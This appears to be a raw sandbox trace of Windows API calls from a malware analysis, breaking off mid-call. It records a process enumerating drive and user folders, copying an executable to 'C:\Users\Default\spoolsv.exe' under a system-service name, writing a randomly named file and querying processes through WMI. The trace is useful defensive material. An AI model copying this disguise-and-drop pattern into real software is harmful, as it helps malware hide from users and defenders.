ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1a9d88a0 [0158.124] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0158.124] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0158.124] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0158.124] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd213bc0, ftCreationTime.dwHighDateTime=0x1d8a92a, ftLastAccessTime.dwLowDateTime=0x298ba5c0, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x298ba5c0, ftLastWriteTime.dwHighDateTime=0x1d8a92a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="comproviderRuntimecommon", cAlternateFileName="COMPRO~1")) returned 1 [0158.124] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0158.124] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x617749e0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0158.124] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb883f1e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb883f1e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0158.124] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x61c838a0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0158.124] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0158.124] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f317170, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f317170, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0158.124] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1434c8c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1434c8c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0158.125] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1f2b3de0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1f2b3de0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0158.125] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0158.125] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3740380, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xbd8bb9c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xbd8bb9c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0158.125] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0158.125] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f52c4b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f52c4b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0158.125] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0158.125] FindClose (in: hFindFile=0x1a9d88a0 | out: hFindFile=0x1a9d88a0) returned 1 [0158.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0158.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0158.126] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0158.126] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0158.126] FindFirstFileW (in: lpFileName="C:\\Users\\*" (normalized: "c:\\users\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a9d88a0 [0158.126] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0158.126] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0158.127] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629b4b20, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x629b4b20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0158.127] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0158.127] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0158.127] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x791634f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xf29f86d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf29f86d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kEecfMwgj", cAlternateFileName="KEECFM~1")) returned 1 [0158.127] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0158.127] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0158.127] FindClose (in: hFindFile=0x1a9d88a0 | out: hFindFile=0x1a9d88a0) returned 1 [0158.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0158.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0158.128] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\spoolsv.exe", nBufferLength=0x105, lpBuffer=0x1bb7e7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\spoolsv.exe", lpFilePart=0x0) returned 0x1c [0158.128] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe", nBufferLength=0x105, lpBuffer=0x1bb7e640, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon\\chainsavesref.exe", lpFilePart=0x0) returned 0x2d [0158.128] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\spoolsv.exe", nBufferLength=0x105, lpBuffer=0x1bb7e640, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\spoolsv.exe", lpFilePart=0x0) returned 0x1c [0158.128] CopyFileW (lpExistingFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe"), lpNewFileName="C:\\Users\\Default\\spoolsv.exe" (normalized: "c:\\users\\default\\spoolsv.exe"), bFailIfExists=0) returned 1 [0158.638] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\f3b6ecef712a24", nBufferLength=0x105, lpBuffer=0x1bb7e420, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\f3b6ecef712a24", lpFilePart=0x0) returned 0x1f [0158.638] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e938) returned 1 [0158.638] CreateFileW (lpFileName="C:\\Users\\Default\\f3b6ecef712a24" (normalized: "c:\\users\\default\\f3b6ecef712a24"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x378 [0158.639] GetFileType (hFile=0x378) returned 0x1 [0158.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e8a8) returned 1 [0158.639] GetFileType (hFile=0x378) returned 0x1 [0158.640] WriteFile (in: hFile=0x378, lpBuffer=0x271a4a8*, nNumberOfBytesToWrite=0x3af, lpNumberOfBytesWritten=0x1bb7e978, lpOverlapped=0x0 | out: lpBuffer=0x271a4a8*, lpNumberOfBytesWritten=0x1bb7e978*=0x3af, lpOverlapped=0x0) returned 1 [0158.641] CloseHandle (hObject=0x378) returned 1 [0158.642] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0158.642] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0158.642] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0158.642] IUnknown:Release (This=0x1a943398) returned 0x1 [0158.669] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1a9f6390) returned 0x0 [0158.669] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9f6390, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0158.669] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9f6390, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc3ec00) returned 0x0 [0158.669] WbemDefPath:IUnknown:Release (This=0x1a9f6390) returned 0x0 [0158.669] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ec00, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc3ec00) returned 0x0 [0158.670] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ec00, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0158.670] WbemDefPath:IUnknown:AddRef (This=0x1bc3ec00) returned 0x3 [0158.670] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ec00, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0158.670] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ec00, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0158.670] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ec00, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bc14910) returned 0x0 [0158.670] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc14910, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0158.670] WbemDefPath:IUnknown:Release (This=0x1bc14910) returned 0x3 [0158.670] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0158.670] CoGetContextToken (in: pToken=0x1bb7cff0 | out: pToken=0x1bb7cff0) returned 0x0 [0158.670] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0158.670] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ec00, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0158.671] WbemDefPath:IUnknown:Release (This=0x1bc3ec00) returned 0x2 [0158.671] WbemDefPath:IUnknown:Release (This=0x1bc3ec00) returned 0x1 [0158.671] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0158.671] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0158.671] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ec00, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc3ec00) returned 0x0 [0158.671] WbemDefPath:IUnknown:AddRef (This=0x1bc3ec00) returned 0x3 [0158.671] WbemDefPath:IUnknown:Release (This=0x1bc3ec00) returned 0x2 [0158.671] WbemDefPath:IWbemPath:SetText (This=0x1bc3ec00, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0158.671] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ec00, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0158.671] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ec00, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0158.671] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ec00, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0158.671] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3ec00, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0158.671] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ec00, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0158.671] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3ec00, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0158.672] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0158.672] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0158.672] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0158.672] IUnknown:Release (This=0x1a943398) returned 0x1 [0158.674] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, 